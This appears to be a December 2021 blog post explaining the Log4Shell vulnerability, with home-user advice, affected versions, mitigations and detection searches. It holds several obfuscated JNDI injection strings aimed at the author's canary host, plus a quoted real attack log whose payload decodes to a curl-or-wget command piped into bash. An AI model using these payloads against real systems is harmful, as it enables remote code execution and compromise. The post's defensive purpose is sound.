Log4j / Log4Shell / CVE-2021-44228

Mike

Dec 11, 2021 • 6 min read

For average/home users

Someone on twitter asked two questions that I thought might be valuable for this article, paraphrasing:

Can someone explain the Log4j vulnerability in non-IT terms, and is there any mitigation my level as average mere mortal?

1) A log component can ask external systems questions. The answers to these questions can be malicious. I can control the log input, what system it asks the question to, and the answer. This may be an equally good explanation: https://twitter.com/ElleArmageddon/status/1470645407919349764

2) TLDR; Don't expose things directly to the internet, keep everything patched, run antivirus.

There are generic (home) apps/devices that use log4j, anything built in/using Java may use it. Ubiquiti I know is affected (consumer/prosumer level network equipment), MATLAB reportedly is (desktop engineering software), and ZAP (desktop cybersecurity tool) are three I can think of. Remember, over 3 billion devices run Java! Most of the focus is on enterprise right now though, so there isn't a good list of the little things. This is something I think we'll be finding in dark corners for years to come though.

This isn't something end users can easily fix, mitigate, or watch for on their own in the same way enterprise IT is (e.g. setting system properties, web application firewalls, application whitelisting, centralized logging, etc.). If you know of an important or large scale app, especially one written in java, it wouldn't hurt to look for a vendor response or try to bug them about providing one. Doing vendor contact isn't something I would lose sleep over though.

The best advice I think there is for general population is to continue following best practices. In this specific case; keep systems, applications, and devices up-to-date (patch things), don't expose anything at your home directly to the internet, and run updated antivirus. Patching things will make sure that, when a vendor does resolve this problem, the fix gets to you. Until that happens, not exposing things to the internet makes it harder for attackers to get to you, and if one somehow does, antivirus will -hopefully- help prevent them from dropping something bad on your computer.

One thread you might want to read is this https://twitter.com/ineedmorecyber/status/1470224616375439369. You don't have to understand all of it, but it will give you an idea of the scale, especially that Github link in the second post. This doesn't mean you, the home user, needs to panic. Just patch, listen to your corporate IT folks, and keep your eyes and ears open.

Other stuff starts here

First of all, it'll be interesting to see if this gets any results ;)

${jndi:ldap://1nqbqedzjouo94izr97z6qjc6.canarytokens.com/a} 
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://1nqbqedzjouo94izr97z6qjc6.canarytokens.com/a}
${jndi:${lower:l}${lower:d}a${lower:p}://1nqbqedzjouo94izr97z6qjc6.canarytokens.com/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//1nqbqedzjouo94izr97z6qjc6.canarytokens.com/a}
${j${lower:n}di:l${lower:d}ap://1nqbqedzjouo94izr97z6qjc6.canarytokens.com/a}

I do promise that if I get any hits on this, I will do my best to reach out to the affected organization.

Update: Tokens got hit by 4 separate AWS IP's in rapid succession. No DNS entry for the IP's, no Shodan results, no contact info. Interesting...

Overview/Description

I really like this one from AttackerKB

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default.

In previous releases (>2.10) this behavior can be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true” or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting “com.sun.jndi.rmi.object.trustURLCodebase” and “com.sun.jndi.cosnaming.object.trustURLCodebase” to “false”.

Resources

There's no way to list everything, but if you don't know what this is and need to catch up, these should work:

Affected Versions

2.0 <= Apache log4j <= 2.14.1

Ok, that's easy to say, but goodluck finding that and determining what is affected. Virtually all Oracle products, VMware vCenter, OWASP ZAP, Cisco is investigating virtually very product. So we have hypervisors, desktop products, network gear, and server components. Bundled/included components means we can't just search for that installed package.

BREAKING! v1.x <edit>is affected, but not by default</edit>

I'm going to leave the below for historical sake, but here's the official CVE: https://cve.report/CVE-2021-4104

https://access.redhat.com/security/cve/cve-2021-44228

Due to the existence of JMS Appender which can use JNDI in the log4j 1.x, it is possible that log4j version 1.x is also affected by this vulnerability. The impact is still under investigation.

However, this has been refuted by log4j 1.x author:

Log4j 1.x does not offer a look up mechanism. Log4j 1.x sends an event encapsulating a string message to a JMS server. That is it. The attacker can supply whatever string he chooses but it remains a String. So not the same. At all.

Having said this, log4j 1.x is no longer being maintained with all the security implication that entails. Thus, you should seriously consider migrating to one of log4j 1.x successors such as SLF4J/logback, although you do not need to do so TODAY with the utmost urgency.

Further clarification, if my understanding is correct, is that it can be configured to be vulnerable (but isn't by default?).

Indicators of Attack

Right up top, here's a python based detector that seems reliable: https://github.com/Neo23x0/log4shell-detector

For finding compromises with your own searches, here's an actual attack example:

45.155.205.233 - - [<datetime>] "GET / HTTP/1.1" 200 2595 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/<base64string>}"

and the base64 decodes to something like:

(curl -s 45.155.205.233:5874/<localip>:80||wget -q -O- 45.155.205.233:5874/<localip>:80)|bash

things in <brackets> have been replaced/redacted. That 45 ip address has been seen in multiple honeypots/logs, it appears it's scanning everything on the internet. You can see it in the SOC Prime sigma rule: https://twitter.com/rimpq/status/1469319598357032964

Since then, there has been further attempts that obfuscate strings. Here's a few short searches that I have not seen appear EXCEPT where exploit attempts are being tried.

"${jndi" OR "${lower" OR "${${env:" OR "${${::-"

You can also use Canary Tokens to test your own environment: https://twitter.com/ThinkstCanary/status/1469439743905697797

Mitigations

The flaw can also be mitigated in previous releases (2.10 and later) by setting system property "log4j2.formatMsgNoLookups" to "true" or removing the JndiLookup class from the classpath.

e.g. java -Dlog4j2.formatMsgNoLookups=true -jar server.jar

You should also be able to set this in config files, but I have not seen a good example of this.

I have also seen reports that the entire class can be removed:

I think the end solution to this is simply run the following on every <filename> in the system: zip -q -d filename org/apache/logging/log4j/core/lookup/JndiLookup.class This shouldn't actually break anything, but will remove the bug everywhere.

Lastly, from what I have seen, the attacker must be able to communicate back outbound to the malicious "LDAP" server. Limiting egress I believe would also stop the attack.

Discovery

As of right now, the only external/unauthenticated scan I know of is in Nessus: https://www.tenable.com/plugins/nessus/155998